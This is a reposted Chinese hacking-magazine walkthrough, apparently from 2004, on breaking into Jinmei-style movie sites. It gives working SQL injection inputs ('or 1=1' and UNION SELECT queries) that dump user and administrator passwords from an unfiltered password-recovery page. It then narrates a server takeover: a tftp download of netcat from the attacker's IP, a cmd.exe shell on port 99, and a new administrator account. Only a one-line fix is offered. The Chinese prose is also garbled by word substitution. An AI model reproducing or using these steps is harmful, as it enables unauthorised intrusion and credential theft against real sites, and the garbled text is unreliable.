SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]
本文“SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
此文发表在2004年黑客X档案第4期
周末无聊,同学想让我帮他下载一些片子看,我利落的承诺了.看了这么多期X档案,水平自然长进不少,也没事玩玩"鸡".这次想免费下载些片子,没问题(我知道N多片子程序有漏洞).闲话少说,切入正题.
我翻开Google,随便搜索了一下片子网站,点开了一个.看了一下界面,知道和金梅片子系统关联很大.金梅系统和"洞"网(7.0安全多啦,自己想的)差不多,也是有N多漏洞,比方注入啊,COOKIE拐骗什么的.我就在X档案03年11期看过一篇文章,写的是用ASC和MID函数对系统管理员帐户举行猜想.我也想用这种办法猜想,猜了半天都没猜对,真烦人,同学还在哪里等我哪,这不是很丢人.我决意找个简单的办法,还是读读源码吧!
下载了一个金梅三片子系统,看了一下,这么多个文件,头即刻大了.还是在自己电脑上运行一下吧.注册了一个用户,点了一下找回密码,别人说这里有漏洞.看了一下,象是有漏洞的界面,有三个参数,还直接把密码显示出来.好,看一下源码.
39 <% if request("myuserid")="" then %>
...
58 <%else
set rs=server.createobject("adodb.recordset")
sql="select password from users where userid='"&request("myuserid")&"'and city='"&request("ask")&"'and adress='"&request("answer")&"'"
rs.open sql,conn,1,1
if rs.eof and rs.bof then%>
这里公然没过滤.好多人都想到了可以用上面的办法注入了.能不能有更简单的办法呢?
我细心考虑语句的情势以下:
select password from users where userid=‘‘ and city=‘‘ and adress='‘
假如用户名,密码提醒问题(city),密码提醒答案(adress)和表users一行匹配,便打印这行的password,并且是明文的.我想的历程就不写了,后来我想到了一种办法,就是操纵union查询.Access功效是很弱的,不能履行号令,不能导出文本,还不能注释.有个子查询可以操纵之外,也就剩下这个 union了.
[1] [2] 下一页
怎么操纵呢?先在本机做实行.测试历程简单,直接写有所收获的后果.
如果知道了一个该网站的一个用户名(比方abc),可以这样操纵.
在"你注册问题"处填: abc' or ‘1=1(假如用户名是bcd,就变成bcd' or ‘1=1)
密码提醒问题处随便填几个字母或数字,最好别有标记,简单影响后果: 比方字母a
密码提醒答案处随便填几个字母或数字,填个a
回车后就看到该用户的密码了,简单吧(如图一).
其实这样一来,上面的语句就变成:
select password from users where userid=‘abc' or ‘1=1‘ and city=‘a‘ and adress='a‘
呵呵,程序无条件的履行了,因为被 or ‘1=1'跳事背面的考证了.
但是网站用户名也不是简单得到的啊.别急,得到用户名一样简单.以下:
在"你注册问题"处随便处填几个字母或数字,最好别有标记,简单影响后果: 比方字母a
密码提醒问题处和上面一样,随便填:我也填个a
关键是在密码提醒答案:我填的是a' union select userid from users where oklook>=3 or '0
上面就是要找黄金用户的帐户名(如图二),看到用户名后再用前面的办法找到密码.
可以在where背面加很多参数并赋差别的值可以得到很多帐户.
按上面的填入后输入语句就变成了:
select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select userid from users where oklook>=3 or '0 ‘
细心的读者看到这大概已经想到怎样得到管理员的帐号和密码,不错,也很简单.我也不写历程了,直接写出语句以下:
得到帐号:
select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select name from okwiantgo where id>=1 or '0 ‘
得到密码:
select password from users where userid=‘a‘ and city=‘a‘ and adress=' a' union select pwd from okwiantgo where id>=1 or '0 ‘
然后登陆就行了,途径格局为:
http://网站片子途径/findaccout.ASP?name=管理员帐号&pwd=管理员密码
回车,很轻松就进管理界面了.(如图三)
有时findaccount.asp大概被改名了,这时只能拿个黄金帐户了.
这个漏洞有很多片子程序有,有的程序表名不是okwiantgo(程序会报告64行属性不对),改成admin或password.,把上面的输入略微改正一下行了.这样一来不管是多复杂的密码,大概是中文密码都没问题.再猜管理员帐户的时刻也要多,where背面的条件多改变才行,不然大概得不到超级管理员.
这个漏洞利用很简单,危害极大,简单可以得到管理员帐户.假如系统配置不当,在upload/uploadmovie.asp答应上传ASP文件,系统就很简单换主人了.我曾经成功浸透过这样一个网站,简单历程论述以下.
上传一个ASP程序,发现该系统运行SQLSERVER,通过读源文件看到了sa的密码,用sqlexec衔接,tftp上传nc.exe.再次dir发现nc被删了,有防火强.用tftp上传nc.jpg必定万无一失, tftp -i 我的IP get nc.exe nc.jpg,上传成功.在sqlexec运行
nc.jpg -l -p 99 -e c\winnt\system32\cmd.exe
nc想必都很熟习了吧,上面就是再目标机械上开一个99端口监听,同时把cmd.exe重定向到这里,本地衔接nc.exe -vv 目标IP 99,得到shell,并且是管理员权限.
输入 net user abc 123456 /add && net localgroup administrators abc /add
增添用户成功趁便加入管理员,&&意思是前面成功背面履行.该系统开着3389,省了我好多事情.
好了回到正题,这个漏洞存在80%以上片子程序中,在谷歌里搜索user/wantpws.asp,翻开后发现可以输入三个参数,且把密码直接显示的都有此漏洞.
修补办法,应当对三个参数举行严峻考证,并且把后果发送的到邮箱里更稳妥,有的网站是这样做的.
总结:我写此问的目的是想说好多问题要多想多试,一个漏洞操纵办法不只一种,我们要自己学会发现.入侵历程机动多样,我们应动头脑.大家免费看片子的同时可别搞破坏啊,任何后果与我无关.同时我也但愿看到这篇文章后,网站尽快更改.
上一页 [1] [2]
以上是“SQL注入奇招致胜 UNION查询轻松免费看片子[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |